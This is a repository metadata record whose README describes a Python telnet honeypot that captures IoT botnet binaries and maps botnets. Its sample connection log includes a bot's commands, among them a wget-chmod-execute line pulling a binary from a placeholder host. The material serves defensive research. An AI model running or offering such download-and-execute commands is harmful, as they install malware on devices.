{"id":13795751,"url":"https://github.com/phype/telnet-iot-honeypot","last_synced_at":"2025-05-12T23:32:39.337Z","repository":{"id":54011900,"uuid":"75878479","full_name":"Phype/telnet-iot-honeypot","owner":"Phype","description":"Python telnet honeypot for catching botnet binaries","archived":false,"fork":false,"pushed_at":"2024-02-02T22:07:12.000Z","size":2395,"stargazers_count":305,"open_issues_count":3,"forks_count":84,"subscribers_count":15,"default_branch":"master","last_synced_at":"2024-11-18T10:34:39.264Z","etag":null,"topics":["botnet","honeypot","malware","telnet-server"],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Phype.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2016-12-07T21:47:10.000Z","updated_at":"2024-11-16T03:01:34.000Z","dependencies_parsed_at":"2022-08-13T06:00:44.969Z","dependency_job_id":null,"html_url":"https://github.com/Phype/telnet-iot-honeypot","commit_stats":null,"previous_names":[],"tags_count":1,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Phype%2Ftelnet-iot-honeypot","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Phype%2Ftelnet-iot-honeypot/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Phype%2Ftelnet-iot-honeypot/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Phype%2Ftelnet-iot-honeypot/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Phype","download_url":"https://codeload.github.com/Phype/telnet-iot-honeypot/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":253841169,"owners_count":21972605,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["botnet","honeypot","malware","telnet-server"],"created_at":"2024-08-03T23:01:01.654Z","updated_at":"2025-05-12T23:32:37.228Z","avatar_url":"https://github.com/Phype.png","language":"Python","funding_links":[],"categories":["\u003ca id=\"c8f749888134d57b5fb32382c78ef2d1\"\u003e\u003c/a\u003eSSH\u0026\u0026Telnet"],"sub_categories":[],"readme":"## Disclaimer\n\nThis project neither supported or in development anymore. It is based on python2 which has reached its EOL in 2020 and uses dependencies which are getting harder to install over time. Use at your own risk! \n\n# Telnet IoT honeypot\n\n'Python telnet honeypot for catching botnet binaries'\n\nThis project implements a python telnet server trying to act\nas a honeypot for IoT Malware which spreads over horribly\ninsecure default passwords on telnet servers on the internet.\n\nThe honeypot works by emulating a shell enviroment, just like \ncowrie (https://github.com/micheloosterhof/cowrie).\nThe aim of this project is primarily to automatically analyse\nBotnet connections and \"map\" Botnets by linking diffrent\nconnections and even Networks together.\n\n## Architecture\n\nThe application has a client/server architecture,\nwith a client (the actual honeypot) accepting telnet connections\nand a server which receives information about connections and\ndoes the analysis.\n\nThe backend server exposes a HTTP interface which is used\nto access to frontend as well as by the clients to push new\nConnection information to the backend.\n\n## Automatic analysis\n\nThe Backend uses 2 diffrent mechanisms to automatically link\nconnections:\n\n### Networks\n\nNetworks are discovered Botnets. A network is the set of all linked\nconnections, urls and samples. Urls and samples\nare linked when they are used in a connection. Two connections are linked\nwhen both connections are recieved by the same honeypot client\n(mutliple clients are supported!) and use the same credentials in a short\nperiod of time (defautl 2 minutes) or come from the same IP address.\n\n### Malware\n\nMultiple networks are identified to use the same type of malware\nif the text entered during sessions of the networks aro mostly the\nsame. This comparison is done using sort of \"hash\"-function which\nbasically translates a session (or connection) into a sequence\nof words and then maps each word to a single byte so this resulting\nsequence of bytes can be easily searched.\n\n# Running\n\nThe application has a config file named config.py.\nSamples are included for local and client/server deployments.\n\n## Configuration\n\nThe backend requires a SQL-database (default sqlite) which is initialized\nat first run. Before the first run you should generate a admin account\nwhich is used to generate more users. The admin account can also directly\nused by a client to post connections. When more than one honeypots shall be\nconnected, creating multiple users is recommended.\n\n\tbash create_config.sh\n\nBoth client and backend will read the files `config.yaml` and `config.dist.yaml`\nto read configuration parameters. The `config.dist.yaml` file includes\ndefault values for all but admin user credentials and these parameters\nare overwirtten by entries in the `config.yaml` file.\n\n## Running the Server\n\n\tpython backend.py\n\n## Running the Client\n\nThis project contains an own honeypot, however because of the client-server architecture,\nother honeypot can be used as well.\n\n### Using the built-in honeypot\n\n\tpython honeypot.py\n\nThe client cannot be started without the server running. To use a diffrent configuration\nfor the client you can use the `-c` switch like this:\n\n\tpython honeypot.py -c myconfig.yaml\n\nIf you only want to check the honeypot functionality,\nyou can start the client in interactive mode:\n\n\tpython honeypot shell\n\n### Using cowrie\n\nI wrote an output plugin for cowrie, which has much more features than the built in honeypot.\nIf you want to use cowrie instead, checkout my fork which includes the output module here:\nhttps://github.com/Phype/cowrie .\n\n## Opening the frontend\n\nAfter the server is started, open `http://127.0.0.1/` in your favorite browser.\n\n## Sample Connection\n\n\tenable\n\tshell\n\tsh\n\tcat /proc/mounts; /bin/busybox PEGOK\n\tcd /tmp; (cat .s || cp /bin/echo .s); /bin/busybox PEGOK\n\tnc; wget; /bin/busybox PEGOK\n\t(dd bs=52 count=1 if=.s || cat .s)\n\t/bin/busybox PEGOK\n\trm .s; wget http://example.com:4636/.i; chmod +x .i; ./.i; exit\n\n## Images\n\n![Screenshot 1](images/screen1.png)\n\n![Screenshot 2](images/screen2.png)\n\n![Screenshot 3](images/screen3.png)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fphype%2Ftelnet-iot-honeypot","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fphype%2Ftelnet-iot-honeypot","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fphype%2Ftelnet-iot-honeypot/lists"}